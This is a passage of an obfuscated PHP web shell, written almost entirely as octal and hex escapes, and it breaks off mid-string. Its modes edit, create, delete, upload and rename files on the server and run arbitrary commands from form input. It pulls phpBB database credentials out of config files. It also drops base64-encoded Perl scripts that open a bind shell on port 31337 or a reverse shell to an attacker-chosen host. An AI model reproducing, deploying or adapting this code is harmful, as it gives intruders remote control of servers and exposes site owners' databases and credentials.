3\124\133\47\x6d\157\x64\146\151\x6c\x65\47\135\x20\x3a\x20\44\146\151\154\145\75\x24\144\x69\x72\x2e\x24\137\120\x4f\123\x54\x5b\x27\155\x6f\x64\146\151\154\x65\47\x5d\73\xa\44\x63\x6f\156\x74\145\x6e\164\40\75\x20\x66\x69\x6c\145\137\147\x65\164\x5f\143\x6f\156\164\145\x6e\x74\x73\50\x24\146\x69\x6c\x65\51\73\xa\151\146\40\50\44\137\120\117\x53\124\133\155\x6f\x64\146\151\x6c\145\135\x3d\x3d\42\x63\157\156\x66\x69\x67\56\160\x68\x70\x22\x29\x20\173\12\151\156\x63\x6c\x75\144\145\50\44\x66\151\154\x65\51\73\xa\x24\x6c\x69\156\153\x20\75\x20\42\152\x61\166\141\x73\x63\x72\x69\160\x74\x3a\x76\141\162\40\x66\x6f\x72\x6d\75\x64\157\143\x75\x6d\x65\x6e\x74\x2e\163\x71\154\x70\x61\x6e\145\154\x3b\40\x66\x6f\x72\155\x2e\165\163\145\162\x2e\x76\x61\154\165\145\75\47\x22\x2e\x61\144\x64\163\154\141\x73\x68\x65\x73\50\44\x64\142\x75\x73\x65\162\x29\x2e\xa\x9\x9\x22\x27\x3b\146\157\x72\x6d\x2e\x70\x61\163\x73\x2e\x76\141\154\x75\x65\75\47\x22\56\x61\x64\144\x73\x6c\x61\x73\150\x65\163\50\x24\x64\142\160\x61\163\x73\167\x64\51\56\x22\47\x3b\x66\x6f\162\155\56\150\x6f\x73\x74\x2e\x76\141\x6c\x75\145\x3d\x27\x22\x2e\x61\x64\x64\x73\x6c\141\x73\150\x65\163\50\x24\144\x62\150\x6f\x73\x74\x29\56\xa\x9\11\x22\47\x3b\146\x6f\x72\155\56\x64\142\156\141\x6d\145\x2e\166\141\x6c\165\x65\75\47\x22\56\x61\144\x64\x73\154\x61\x73\x68\x65\x73\50\x24\x64\x62\156\x61\x6d\145\51\x2e\42\x27\x3b\144\x6f\x63\x75\x6d\145\156\164\x2e\x73\161\154\160\x61\156\x65\x6c\x2e\x73\165\x62\x6d\151\x74\50\x29\73\42\73\12\44\157\165\164\160\165\164\40\x2e\x3d\40\x22\x70\x68\160\102\102\40\143\157\156\x66\151\147\40\146\x69\154\145\40\x64\x65\x74\145\x63\x74\145\x64\41\40\143\154\151\x63\153\x20\x3c\141\x20\x63\154\x61\x73\x73\75\134\x22\154\151\x6e\153\134\x22\40\x68\162\145\146\x3d\x5c\42\x24\x6c\x69\x6e\x6b\134\x22\x3e\x68\145\x72\x65\74\x2f\141\x3e\x20\164\x6f\40\143\x6f\x6e\x6e\x65\143\164\74\x62\x72\x20\57\x3e\42\x3b\xa\x7d\xa\x24\x6f\x75\164\160\x75\x74\40\x2e\75\40\x22\x3c\x66\x6f\x72\x6d\x20\141\x63\164\151\157\x6e\75\x23\40\155\x65\x74\x68\x6f\x64\75\160\x6f\x73\164\76\x3c\x69\156\160\x75\164\40\x74\171\160\x65\x3d\x68\151\144\144\145\156\40\156\x61\155\x65\x3d\x6d\157\144\x65\40\166\x61\154\165\x65\x3d\x64\157\145\144\x69\164\x3e\74\x69\156\160\x75\164\x20\x74\x79\160\x65\75\x68\151\144\144\145\x6e\40\x6e\x61\155\x65\x3d\x6d\x6f\144\146\151\x6c\145\x20\166\141\x6c\x75\145\75\x27\x22\56\44\x5f\x50\x4f\x53\x54\x5b\47\x6d\157\x64\146\x69\x6c\x65\x27\x5d\x2e\42\x27\x3e\12\74\x74\x65\170\164\x61\162\x65\x61\40\x72\x6f\x77\x73\75\63\60\x20\x63\157\154\x73\x3d\x31\x30\x30\x20\x6e\x61\x6d\x65\x3d\156\145\x77\x74\x65\x78\x74\x3e\42\x2e\x68\164\x6d\x6c\x73\160\145\143\151\141\x6c\143\150\141\x72\163\50\44\143\157\156\x74\145\156\164\x29\x2e\x22\74\57\x74\x65\x78\x74\x61\x72\x65\x61\x3e\74\x62\x72\x20\57\76\x3c\151\156\x70\x75\164\40\164\171\x70\145\x3d\x73\x75\x62\155\151\164\40\x76\141\154\x75\x65\75\x65\x64\151\x74\76\x3c\57\146\157\162\x6d\x3e\42\x3b\xa\x7d\12\151\x66\40\x28\44\137\x50\117\x53\x54\133\47\x6d\157\144\145\x27\x5d\75\75\42\144\x6f\145\144\151\164\x22\x29\40\173\xa\x28\x24\x64\x69\x72\75\75\x72\145\x61\154\160\x61\164\x68\x28\x22\x2e\x22\x29\51\40\x3f\x20\x24\x66\151\154\145\75\x24\x5f\x50\x4f\x53\124\x5b\x27\x6d\157\144\146\151\154\145\x27\x5d\x20\x3a\x20\x24\146\x69\x6c\145\75\x24\144\151\162\56\44\x5f\x50\117\123\124\x5b\47\x6d\157\144\x66\x69\x6c\145\47\x5d\x3b\xa\x24\157\x75\x74\160\165\x74\40\56\75\40\x24\146\x69\x6c\145\x2e\42\x3c\x62\162\40\57\x3e\42\73\12\44\x66\150\x20\75\40\146\157\x70\x65\x6e\50\x24\146\151\154\145\54\40\x22\167\53\42\x29\157\x72\40\x64\x69\145\x28\42\x3c\146\157\156\x74\40\143\157\x6c\157\162\75\x72\x65\144\76\x45\x72\162\x6f\162\72\40\x63\141\156\156\x6f\164\40\x6f\160\x65\x6e\40\146\151\154\145\74\57\146\157\156\164\x3e\42\x29\x3b\12\44\137\x50\x4f\x53\124\133\x27\x6e\145\167\x74\145\170\164\x27\x5d\x20\75\40\x28\x69\x6e\151\x5f\x67\145\x74\x28\42\x6d\141\x67\151\x63\x5f\x71\x75\x6f\x74\145\163\x5f\x67\160\143\42\x29\51\x20\77\40\163\164\162\151\x70\x73\x6c\x61\x73\x68\x65\x73\x28\x24\137\120\117\x53\124\x5b\x27\x6e\145\167\164\x65\x78\x74\x27\135\51\x20\x3a\40\x24\137\120\117\x53\124\x5b\47\156\x65\167\164\x65\x78\164\x27\135\73\12\146\167\x72\x69\x74\145\50\44\x66\150\54\40\x24\137\120\117\123\x54\133\47\x6e\x65\167\164\x65\x78\164\x27\x5d\51\x6f\162\40\144\151\x65\x28\x22\x3c\146\x6f\x6e\164\40\143\157\154\157\x72\x3d\162\x65\144\x3e\x45\162\x72\157\x72\x3a\40\x63\141\x6e\x6e\x6f\x74\x20\x77\x72\151\164\145\x20\164\x6f\x20\x66\151\154\x65\74\x2f\x66\157\x6e\164\x3e\x22\x29\73\12\x66\x63\x6c\x6f\163\x65\50\44\x66\x68\51\73\xa\x24\157\x75\164\x70\x75\x74\40\56\75\40\x22\104\x6f\156\145\x2e\x22\x3b\xa\x7d\12\57\x2f\x4d\141\x6b\x69\x6e\x67\x20\x66\151\154\145\56\x2e\xa\x69\146\40\50\44\137\120\x4f\123\124\133\47\x6d\x6f\x64\x65\x27\135\x20\x3d\75\x20\42\x6d\153\146\151\x6c\x65\x22\x29\40\173\12\x28\44\144\x69\x72\x3d\75\x72\145\141\154\160\141\164\x68\x28\x22\56\42\x29\51\40\77\x20\44\146\x69\x6c\145\75\x24\x5f\120\x4f\123\124\x5b\x27\155\153\x66\x69\x6c\x65\47\135\x20\72\40\x24\146\x69\x6c\145\x3d\44\x64\151\162\x2e\44\137\x50\117\123\x54\x5b\x27\155\x6b\x66\151\x6c\145\x27\x5d\73\12\44\157\x75\164\160\x75\164\x20\56\x3d\x20\42\74\146\157\162\x6d\x20\141\143\164\151\157\x6e\75\43\x20\155\145\x74\150\x6f\144\x3d\160\157\163\x74\76\74\151\156\160\165\x74\x20\164\x79\160\x65\x3d\x68\x69\144\144\145\x6e\40\x6e\x61\155\145\75\155\157\x64\x65\40\x76\x61\x6c\x75\x65\x3d\x64\x6f\155\153\x66\151\154\x65\x3e\74\x69\156\x70\165\x74\40\164\171\x70\x65\x3d\150\x69\x64\144\x65\156\x20\156\141\x6d\x65\x3d\155\153\146\x69\x6c\x65\x20\x76\x61\x6c\165\x65\75\x27\42\56\x24\137\120\x4f\123\124\133\x27\155\153\x66\151\x6c\145\47\x5d\56\42\x27\76\xa\74\x74\x65\x78\164\x61\162\145\141\x20\x72\x6f\x77\163\75\63\60\x20\143\157\154\x73\x3d\x31\60\x30\40\156\141\x6d\145\x3d\x74\x65\x78\x74\76\x3c\57\164\x65\170\x74\141\162\145\x61\x3e\x3c\x62\162\40\x2f\x3e\74\x69\x6e\x70\x75\x74\x20\164\171\x70\145\x3d\163\x75\142\155\x69\x74\x20\166\x61\x6c\165\x65\75\x6d\141\153\x65\x3e\x3c\57\146\x6f\x72\155\76\x22\x3b\12\175\xa\x69\x66\x20\50\44\137\120\117\123\124\133\x27\155\157\x64\x65\47\x5d\40\75\x3d\x20\x22\x64\x6f\x6d\x6b\x66\151\154\145\42\51\40\173\12\x28\44\x64\x69\x72\75\75\162\145\141\x6c\160\x61\164\150\x28\42\x2e\42\51\x29\40\x3f\40\44\x66\x69\x6c\145\x3d\44\x5f\120\117\x53\x54\x5b\x27\155\x6b\146\x69\x6c\x65\x27\135\x20\x3a\x20\44\146\x69\x6c\x65\75\44\144\151\162\x2e\44\x5f\x50\117\x53\x54\x5b\x27\155\153\146\151\x6c\145\x27\x5d\73\12\x24\x66\x68\x20\x3d\40\146\157\x70\x65\x6e\50\44\146\x69\x6c\145\54\40\x22\x77\53\42\x29\x6f\x72\x20\144\x69\x65\50\42\x3c\x66\x6f\x6e\164\x20\143\x6f\154\157\162\x3d\162\x65\x64\76\x45\x72\162\x6f\162\x3a\40\x63\141\156\x6e\x6f\164\40\143\x72\145\141\164\145\40\146\151\x6c\145\x3c\57\146\157\x6e\x74\76\42\51\x3b\12\44\137\x50\117\x53\x54\x5b\x27\x74\145\x78\164\x27\x5d\x20\75\40\x28\151\156\x69\x5f\x67\145\164\50\x22\155\x61\147\151\x63\137\161\165\x6f\x74\x65\163\137\147\160\143\x22\x29\x29\40\77\x20\x73\164\x72\x69\x70\163\x6c\x61\163\x68\x65\163\x28\x24\x5f\120\x4f\123\124\x5b\x27\164\x65\170\x74\x27\x5d\x29\x20\72\40\x24\x5f\x50\117\x53\124\x5b\x27\164\x65\170\164\47\x5d\x3b\12\x66\167\162\151\x74\x65\x28\44\146\x68\x2c\x20\44\x5f\120\117\123\124\133\47\164\x65\170\164\x27\135\51\x6f\162\40\x64\x69\145\50\42\x3c\146\x6f\x6e\x74\40\x63\157\x6c\157\x72\x3d\162\145\x64\76\105\162\162\157\x72\x3a\x20\x63\141\x6e\156\x6f\x74\40\x77\162\x69\x74\x65\40\164\x6f\40\x66\x69\154\145\x3c\57\146\x6f\x6e\x74\x3e\42\51\x3b\xa\x66\x63\x6c\157\163\x65\50\x24\146\150\51\x3b\12\44\157\165\164\160\165\164\40\56\x3d\40\42\115\141\x64\x65\x2e\42\73\xa\175\12\57\x2f\x44\145\154\145\x74\151\x6e\x67\x20\x66\151\x6c\x65\56\x2e\12\151\146\x20\x28\x24\x5f\x50\117\x53\124\x5b\47\155\x6f\x64\x65\x27\x5d\x20\75\x3d\x20\x22\144\145\x6c\146\151\154\145\42\51\x20\x7b\xa\50\44\144\151\162\75\x3d\162\x65\x61\154\x70\x61\164\x68\50\42\x2e\42\x29\51\40\x3f\x20\44\146\x69\x6c\145\75\44\x5f\x50\x4f\x53\124\x5b\x27\144\x65\x6c\x66\x69\154\145\x27\x5d\x20\x3a\x20\x24\x66\151\154\x65\75\x24\144\151\162\56\x24\x5f\x50\117\x53\124\133\x27\x64\x65\x6c\146\x69\154\x65\x27\135\x3b\12\x75\156\x6c\151\x6e\x6b\50\44\146\x69\x6c\x65\x29\x6f\x72\40\x64\151\x65\50\42\74\146\x6f\156\164\40\143\157\x6c\157\x72\x3d\162\145\144\76\x45\x72\x72\x6f\x72\72\40\x63\141\156\x6e\157\x74\40\144\145\x6c\145\x74\145\40\146\151\x6c\145\x3c\57\x66\157\156\164\76\x22\x29\x3b\xa\44\157\165\164\160\x75\164\40\56\75\40\x22\x46\151\x6c\145\40\x64\x65\154\x65\164\145\144\56\x22\x3b\12\x7d\xa\57\x2f\40\143\x6d\144\x2e\56\56\xa\151\146\x20\50\x24\x5f\x50\117\123\124\133\47\x6d\157\144\145\47\135\40\x3d\75\40\42\x63\155\144\x22\x29\40\173\xa\x2f\x2a\163\x77\151\x74\143\150\x20\50\x24\137\120\x4f\x53\124\x5b\47\x66\x75\156\143\x27\135\x29\40\173\xa\143\141\x73\x65\40\42\x73\x79\163\x74\145\155\42\72\xa\x9\163\171\163\x74\145\155\x28\163\164\162\151\x70\x73\154\x61\x73\150\145\163\50\44\137\120\x4f\123\124\x5b\x27\143\x6d\144\x27\135\x29\51\x3b\xa\11\144\x69\145\x28\x29\73\12\11\142\162\145\x61\x6b\x3b\xa\x9\143\x61\163\145\x20\x22\x70\x6f\160\x65\156\x22\x3a\12\11\44\x68\x61\x6e\144\x6c\x65\40\x3d\40\x70\157\x70\145\156\50\x24\137\120\117\123\124\x5b\47\x63\155\x64\x27\135\x2e\x27\x20\x32\x3e\x26\x31\47\54\x20\x27\x72\x27\x29\73\xa\x9\x65\x63\150\x6f\40\x22\47\x24\x68\x61\156\144\x6c\x65\47\73\x20\42\40\x2e\x20\147\145\164\x74\x79\x70\145\50\44\150\141\x6e\144\154\x65\x29\x20\56\x20\x22\x5c\x6e\x22\x3b\xa\11\x24\x72\x65\x61\x64\40\75\40\146\x72\x65\x61\144\50\x24\150\141\x6e\144\154\145\54\40\x32\60\x39\66\51\73\12\x9\x65\143\150\157\40\x24\x72\x65\x61\x64\73\12\x9\x70\x63\154\157\x73\x65\x28\44\150\x61\156\x64\x6c\145\x29\x3b\12\11\x64\151\x65\50\x29\x3b\xa\11\x62\x72\x65\141\x6b\73\xa\x9\143\x61\163\145\40\x22\x73\x68\145\154\154\x5f\145\x78\x65\143\42\x3a\12\11\x73\x68\145\154\154\137\145\x78\x65\x63\x28\163\x74\x72\151\x70\x73\154\141\163\x68\145\163\50\44\137\x50\x4f\123\124\133\x27\x63\155\144\x27\135\51\51\73\xa\11\x64\x69\x65\50\51\73\12\xa\x9\142\x72\x65\x61\x6b\73\xa\11\143\141\x73\145\x20\x22\145\170\x65\143\x22\x3a\12\11\145\170\145\143\50\x73\164\162\x69\160\x73\x6c\141\163\150\x65\163\x28\44\x5f\120\x4f\123\124\133\47\x63\155\144\x27\x5d\x29\x29\73\xa\x9\x64\151\x65\x28\51\x3b\xa\x9\142\162\x65\x61\x6b\x3b\xa\11\x63\141\163\x65\40\42\160\x61\x73\x73\x74\x68\162\x75\x22\72\12\11\160\x61\163\163\x74\x68\162\165\x28\163\x74\x72\151\x70\x73\x6c\x61\163\150\x65\163\x28\44\137\x50\x4f\x53\x54\133\47\x63\x6d\x64\47\135\51\x29\73\12\11\x64\x69\x65\50\51\73\12\11\142\x72\x65\141\x6b\73\175\52\57\xa\11\143\150\x64\151\162\50\x24\144\151\162\51\73\xa\11\x24\x72\x65\163\40\75\x20\145\170\141\50\x73\x74\x72\151\x70\163\154\x61\163\x68\145\163\50\x24\137\120\x4f\123\124\x5b\143\x6d\x64\135\x29\51\x3b\xa\x9\x24\x6f\165\164\x70\165\x74\x20\x3d\40\44\x72\145\x73\73\12\40\40\40\12\175\xa\x2f\x2f\x20\x75\160\x6c\x6f\x61\x64\xa\x69\146\x20\50\x24\137\120\x4f\x53\x54\133\x27\x6d\157\144\x65\x27\x5d\x20\75\x3d\x20\42\165\160\x6c\x6f\x61\x64\x32\42\x29\40\x7b\xa\44\160\145\x72\143\x6f\x72\x73\157\x20\x3d\x20\x24\x5f\106\x49\x4c\105\123\x5b\47\x6d\171\146\x69\x6c\x65\47\135\x5b\x27\x74\x6d\x70\137\156\141\x6d\x65\47\x5d\73\12\44\x6e\x6f\155\145\x20\x3d\40\x24\x5f\x46\x49\114\x45\x53\x5b\x27\155\171\x66\x69\x6c\145\47\135\x5b\x27\156\x61\155\x65\47\x5d\x3b\12\151\x66\x20\x28\41\x6d\x6f\166\x65\x5f\x75\160\154\x6f\x61\x64\x65\x64\x5f\x66\x69\154\145\x28\x24\160\145\x72\143\x6f\162\x73\x6f\54\40\x24\144\151\162\56\44\156\x6f\155\145\51\x29\xa\173\xa\x24\157\165\164\160\165\164\40\75\x20\42\74\x66\x6f\x6e\x74\x20\143\x6f\x6c\x6f\x72\75\162\145\x64\76\103\x61\x6e\156\157\x74\40\165\x70\154\x6f\141\144\x3c\57\x66\157\x6e\164\x3e\42\x3b\12\x7d\xa\145\x6c\163\x65\40\x7b\x20\40\x24\157\x75\164\160\x75\164\40\x2e\75\x20\42\74\x62\162\76\74\142\162\x3e\44\x6e\157\155\145\x20\x48\x61\163\x20\x42\x65\145\156\x20\123\141\x76\x65\x64\x21\x22\73\175\xa\x7d\12\x2f\x2f\x20\162\x65\156\x61\155\x65\12\x69\146\x20\50\44\x5f\x50\117\123\124\133\47\x6d\157\x64\x65\47\x5d\40\75\x3d\x20\x22\x72\145\x6e\146\x69\154\145\x22\x29\40\173\12\x69\x66\50\41\x72\145\x6e\141\x6d\x65\50\x24\x64\x69\x72\56\44\137\120\117\x53\124\x5b\x27\157\x6c\144\156\141\x6d\145\47\135\54\40\x24\x64\151\162\56\x24\x5f\120\x4f\123\124\x5b\47\156\145\167\x6e\141\x6d\145\47\x5d\51\51\40\44\157\165\x74\160\x75\x74\x20\75\40\42\74\146\157\156\164\x20\143\x6f\x6c\157\162\x3d\x72\x65\144\76\103\141\156\156\157\164\x20\162\x65\x6e\141\155\145\40\x66\x69\154\145\x3c\57\x66\157\x6e\164\76\x22\73\xa\x65\154\x73\145\x20\x24\157\165\x74\160\165\164\40\75\40\x22\x46\x69\154\x65\x20\162\x65\x6e\141\x6d\x65\144\56\x22\x3b\xa\x7d\xa\57\x2f\40\x42\x69\156\x64\40\160\157\x72\164\12\x69\146\40\50\44\137\x50\x4f\x53\124\133\47\155\x6f\x64\145\47\135\40\75\75\40\42\142\151\156\144\x22\x29\40\173\xa\x63\x68\144\151\x72\50\44\x64\151\x72\x29\x3b\xa\x24\x6f\163\40\x3d\40\x73\x75\142\x73\x74\162\x28\x73\x74\162\164\x6f\x75\x70\160\145\162\50\x50\x48\120\x5f\117\123\x29\x2c\60\54\x33\51\73\xa\44\160\157\162\x74\40\75\x20\x33\61\x33\63\x37\73\xa\44\x74\x78\x74\x20\x3d\40\142\x61\163\x65\x36\64\x5f\x64\145\x63\157\144\x65\x28\42\111\171\105\166\144\x58\x4e\171\x4c\62\x4a\160\x62\151\71\167\x5a\x58\112\163\x44\121\x70\61\x63\x32\125\147\125\x32\x39\152\x61\62\126\x30\x4f\x79\x41\x4e\103\156\x56\x7a\x5a\123\102\x47\x61\x57\x78\x6c\x53\107\106\x75\x5a\107\170\x6c\x4f\171\101\152\x49\x48\x42\x6c\143\x69\102\x73\112\62\106\61\x64\107\x39\155\142\110\x56\x7a\x61\101\60\x4b\x4a\107\x31\x68\x65\106\71\152\142\62\x35\x75\x50\124\x45\x77\117\x77\60\113\112\x48\x42\x76\x63\x6e\x52\x68\x58\x32\x78\166\x59\x32\106\163\x5a\124\60\x6b\121\x56\x4a\x48\x56\154\x73\x77\x58\124\x73\x4e\x43\x69\x52\172\145\x58\115\147\120\123\101\x6b\x51\126\x4a\110\x56\x6c\x73\170\x58\124\163\x4e\103\155\154\155\x49\103\x67\x6b\143\x33\154\x7a\111\107\126\x78\111\103\x4a\x4d\123\125\64\151\113\x53\102\x37\x49\103\122\x6a\142\x57\121\x67\120\123\101\151\x4c\x32\112\160\142\151\x39\x69\131\x58\116\x6f\x49\x6a\163\x67\146\121\x30\x4b\x61\x57\131\147\x4b\x43\x52\x7a\x65\x58\115\147\132\x58\105\147\111\x6c\144\112\124\151\111\160\x49\x48\x73\x67\112\107\x4e\164\x5a\x43\x41\x39\111\103\x4a\104\117\x6c\170\x63\x64\62\x6c\165\132\x47\71\63\x63\61\170\143\x63\x33\x6c\172\x64\x47\x56\x74\x4d\x7a\112\x63\x58\107\x4e\x74\132\x43\65\x6c\x65\107\x55\151\x4f\171\x42\x39\x44\121\157\153\143\x47\106\153\132\110\x4a\x66\142\x47\x39\152\x59\x57\170\x6c\x50\x58\102\150\x59\62\164\x66\143\x32\x39\x6a\141\x32\106\153\132\110\x4a\146\x61\127\64\x6f\x4a\110\102\166\x63\x6e\122\x68\x58\x32\170\x76\131\x32\x46\x73\x5a\x53\170\112\124\x6b\x46\x45\x52\x46\112\146\121\x55\65\x5a\x4b\124\x73\116\x43\156\116\x76\x59\62\x74\154\x64\103\150\x54\122\x56\x4a\x57\x4c\x45\x46\x47\130\60\154\117\122\x56\x51\x73\x55\x30\71\x44\x53\x31\71\124\126\x46\x4a\106\x51\x55\x30\163\x4a\x33\122\x6a\143\103\143\160\111\x48\170\x38\x49\107\122\160\x5a\x53\x67\151\x52\130\x4a\171\x62\63\x4a\154\117\151\x41\x6b\111\123\111\160\117\171\x41\x67\x49\63\116\154\143\156\132\x6c\143\x69\x31\172\142\x32\116\162\x5a\130\121\116\x43\x6e\116\154\144\110\116\x76\131\62\x74\166\143\x48\121\x6f\x55\60\x56\123\126\151\170\x54\124\60\x78\x66\x55\x30\x39\104\123\x30\x56\125\x4c\x46\116\120\130\61\x4a\x46\x56\x56\116\106\x51\125\122\x45\125\151\x77\x78\113\x53\x42\70\146\x43\x42\x6b\x61\127\125\157\111\x6b\126\171\x63\x6d\x39\x79\x5a\x54\157\147\x4a\x43\105\x69\113\x54\x73\x4e\103\155\112\160\x62\155\x51\x6f\x55\60\126\x53\x56\x69\167\x6b\x63\107\106\x6b\x5a\x48\112\146\142\x47\x39\152\x59\x57\170\x6c\113\123\x42\70\146\103\x42\153\141\x57\125\157\x49\x6b\x56\x79\143\155\71\171\132\124\157\147\112\103\105\x69\113\124\163\116\103\155\x78\x70\143\63\x52\x6c\x62\151\x68\124\x52\126\112\127\114\x43\x52\x74\x59\130\150\x66\x59\x32\x39\165\x62\151\x6b\147\146\x48\x77\x67\132\x47\154\x6c\x4b\x43\x4a\106\x63\x6e\x4a\166\x63\x6d\125\x36\111\103\121\x68\111\151\x6b\67\104\x51\160\164\x65\123\101\153\143\x47\106\153\x5a\110\112\x66\x63\62\154\x75\x5a\x7a\x31\150\x59\x32\116\154\x63\110\x51\157\x55\x30\x6c\117\122\x79\x77\147\x55\60\126\x53\x56\x69\153\67\x49\103\x4e\150\131\62\x4e\x6c\144\x48\x52\x76\x49\107\x78\150\111\107\116\166\142\155\65\154\143\63\116\160\x62\62\65\x6c\111\x47\122\x68\x62\x43\x42\x6a\x62\107\154\x6c\x62\x6e\121\x4e\103\155\x31\65\x4b\x43\122\172\141\127\65\x6e\130\63\x42\166\143\x6e\122\x68\x4c\103\x52\x7a\x61\127\x35\x6e\130\x32\106\153\132\x48\x49\x73\112\x47\x64\x6c\144\x43\153\x39\x64\127\x35\x77\131\x57\x4e\162\x58\x33\x4e\166\x59\x32\x74\150\x5a\107\x52\x79\x58\62\x6c\165\113\x43\x52\167\131\x57\x52\153\x63\154\71\x7a\141\x57\x35\x6e\x4b\124\x73\116\x43\154\116\x4a\124\x6b\143\x74\120\x6d\106\x31\144\107\71\155\x62\110\x56\172\x61\103\x67\160\x4f\x77\60\x4b\x62\63\x42\x6c\x62\151\x68\124\126\x45\122\112\x54\151\x77\147\111\152\x34\155\125\60\154\117\x52\x79\111\160\117\167\x30\113\x62\x33\x42\154\142\151\x68\124\x56\105\122\x50\126\x56\121\x73\x49\152\64\155\125\x30\x6c\x4f\122\171\111\160\x4f\167\60\x4b\142\63\102\154\x62\151\150\x54\126\x45\122\x46\125\154\x49\163\x49\x6a\64\155\125\60\154\117\122\171\x49\160\x4f\167\x30\113\x63\110\112\x70\x62\x6e\121\x67\x49\x69\60\164\x4c\123\60\x74\x4c\x53\x30\164\x4c\123\60\164\114\123\60\164\x4c\x53\60\x74\114\x53\x30\164\114\123\60\x74\x4c\x53\x30\164\x4c\123\60\164\114\123\60\164\x4c\x53\x30\x74\x4c\123\60\164\114\126\170\x75\x49\x6a\163\x4e\x43\x6e\x42\171\x61\127\65\60\111\103\111\147\x43\x53\60\x39\111\105\x4a\x70\x62\155\x51\147\125\62\x68\x6c\x62\107\167\x67\121\155\106\152\x61\62\x52\x76\x62\x33\x49\x67\x50\x53\60\x4a\x58\107\x34\151\117\x77\60\x4b\143\110\x4a\160\142\156\121\147\111\151\60\164\x4c\123\x30\164\114\x53\60\164\114\123\x30\164\114\x53\60\164\x4c\123\x30\x74\114\123\x30\x74\114\123\x30\164\114\x53\60\x74\x4c\x53\x30\x74\114\123\60\164\x4c\x53\60\x74\114\x53\x30\x74\x4c\x56\170\165\x49\152\x73\116\x43\156\102\171\141\x57\65\60\x49\x43\111\147\122\107\126\60\132\x57\x4e\60\x5a\x57\121\147\x63\62\150\154\x62\107\x77\x36\111\103\122\152\x62\x57\x51\x4a\103\x56\170\165\x49\152\x73\x4e\103\156\x42\x79\x61\x57\x35\60\111\103\x49\164\114\x53\x30\x74\114\x53\60\x74\114\x53\60\x74\114\x53\60\x74\x4c\x53\60\x74\x4c\x53\x30\x74\x4c\123\60\164\114\x53\x30\164\x4c\123\60\164\x4c\123\60\164\x4c\x53\x30\x74\x4c\123\x30\164\x4c\123\x31\143\x62\154\x78\165\111\152\163\116\103\155\126\64\x5a\127\115\x6f\x4a\x47\x4e\x74\132\x43\x6b\67\104\x51\160\x6a\142\x47\71\172\x5a\x53\150\124\123\x55\65\110\113\124\163\x3d\42\x29\x3b\12\x66\x77\162\x69\x74\145\x28\x66\x6f\160\145\x6e\50\42\142\151\156\144\x2e\x70\x6c\42\54\x20\x22\x77\x2b\42\x29\x2c\x20\44\164\x78\x74\51\73\xa\145\x78\141\x28\x22\x70\145\x72\154\x20\x62\x69\x6e\144\x2e\x70\154\x20\x22\56\44\160\x6f\162\164\x2e\42\x20\x22\x2e\44\x6f\x73\x29\x3b\11\xa\165\x6e\154\x69\156\x6b\50\42\x62\x69\x6e\x64\56\160\x6c\x22\x29\73\xa\175\12\57\57\40\x52\x65\166\x65\x72\163\x65\40\143\x30\x6e\156\xa\151\146\40\x28\x24\x5f\120\x4f\x53\124\x5b\47\155\157\x64\145\47\x5d\40\75\x3d\x20\x22\x72\145\166\x65\x72\x73\145\42\x29\40\173\12\143\x68\x64\151\x72\x28\44\x64\151\162\x29\73\xa\44\157\163\x20\75\x20\x73\165\142\163\164\162\50\x73\164\x72\x74\x6f\x75\x70\x70\x65\x72\50\x50\x48\120\137\117\x53\51\x2c\60\54\x33\51\73\xa\x24\x74\170\164\x20\75\40\142\141\163\x65\66\64\137\144\145\143\x6f\x64\x65\x28\42\x49\x79\105\166\x64\x58\116\171\x4c\x32\x4a\x70\x62\151\x39\x77\132\x58\112\x73\104\121\x70\x31\143\62\125\x67\x55\x32\x39\152\x61\62\x56\60\x4f\167\60\113\x4a\107\150\166\143\x33\x51\x67\x50\x53\x41\153\x51\x56\x4a\110\126\154\x73\167\130\124\x73\116\x43\x69\x52\167\x62\x33\112\x30\111\104\60\x67\x4a\105\106\x53\122\61\x5a\142\x4d\x56\60\67\x44\121\157\x6b\143\x33\154\x7a\x49\104\60\147\x4a\x45\x46\123\x52\61\132\142\115\154\x30\67\x44\121\157\x4e\103\x69\101\x67\111\x43\x42\x70\x5a\x69\x41\157\x49\123\122\x42\x55\x6b\x64\127\x57\x7a\x42\x64\x4b\123\102\67\x44\x51\157\147\x49\110\102\x79\141\127\x35\60\x5a\151\x41\151\127\171\x46\x64\111\x46\x56\x7a\x5a\x54\157\x67\x63\x6d\x56\x32\132\130\112\172\132\x53\65\167\x62\103\x41\70\x57\x57\71\x31\x63\x6b\150\x76\143\x33\x51\x2b\111\104\170\x5a\x62\63\126\x79\x55\x47\71\171\144\104\x34\147\x50\x48\116\65\143\x33\x52\x6c\x62\124\x35\x63\x62\151\x49\67\104\x51\x6f\147\x49\x48\102\x79\x61\x57\x35\x30\x5a\x69\x41\x69\x57\x79\x70\x64\111\105\x35\x76\x64\107\125\66\111\x48\116\x35\x63\63\x52\x6c\x62\x53\102\152\x59\x57\x34\x67\131\x6d\125\147\x54\105\x6c\x4f\111\x47\x39\x79\x49\106\x64\x4a\x54\151\111\67\104\121\x6f\x67\111\x47\x56\x34\x61\x58\x51\157\x4d\x53\x6b\x37\x44\121\x70\71\104\x51\160\x70\132\x69\101\x6f\112\110\116\x35\x63\x79\102\x6c\143\123\x41\x69\124\105\154\117\x49\151\153\x67\145\171\101\153\131\62\61\x6b\x49\104\60\147\111\151\71\151\141\127\x34\166\131\x6d\106\172\x61\x43\111\67\x49\110\60\x4e\x43\x6d\x6c\x6d\111\103\x67\153\x63\x33\x6c\x7a\111\107\x56\170\x49\103\x4a\x58\x53\x55\64\x69\113\123\x42\67\111\103\122\x6a\x62\127\121\x67\120\123\x41\151\121\172\160\x63\x58\x46\x64\160\x62\155\122\x76\x64\x33\x4e\x63\x58\x48\x4e\x35\143\x33\122\154\x62\x54\115\x79\130\106\170\152\x62\127\x51\165\x5a\130\150\x6c\x49\x6a\x73\x67\146\121\60\x4b\143\110\x4a\160\142\156\x51\147\111\x6c\x73\x72\130\x53\102\104\142\x32\x35\165\132\x57\x4e\60\x61\127\x35\156\114\151\x34\x75\111\x46\x73\153\141\x47\71\x7a\144\x46\61\143\x62\x69\111\x37\104\x51\x6f\153\143\x48\x4a\166\144\x43\x41\71\111\x47\144\154\144\110\x42\171\x62\63\x52\x76\x59\156\154\x75\131\x57\x31\x6c\x4b\x43\144\x30\131\63\x41\156\x4b\124\x73\147\x49\171\102\x31\x49\x47\116\x68\x62\x69\102\x6a\x61\x47\x46\x75\x5a\62\x55\147\144\x47\x68\x70\143\x77\x30\113\143\x32\x39\x6a\141\62\126\60\113\106\116\x46\x55\x6c\132\106\x55\x69\167\147\x55\105\132\x66\123\x55\x35\x46\x56\103\x77\147\125\60\71\104\x53\61\x39\124\126\x46\112\x46\x51\125\x30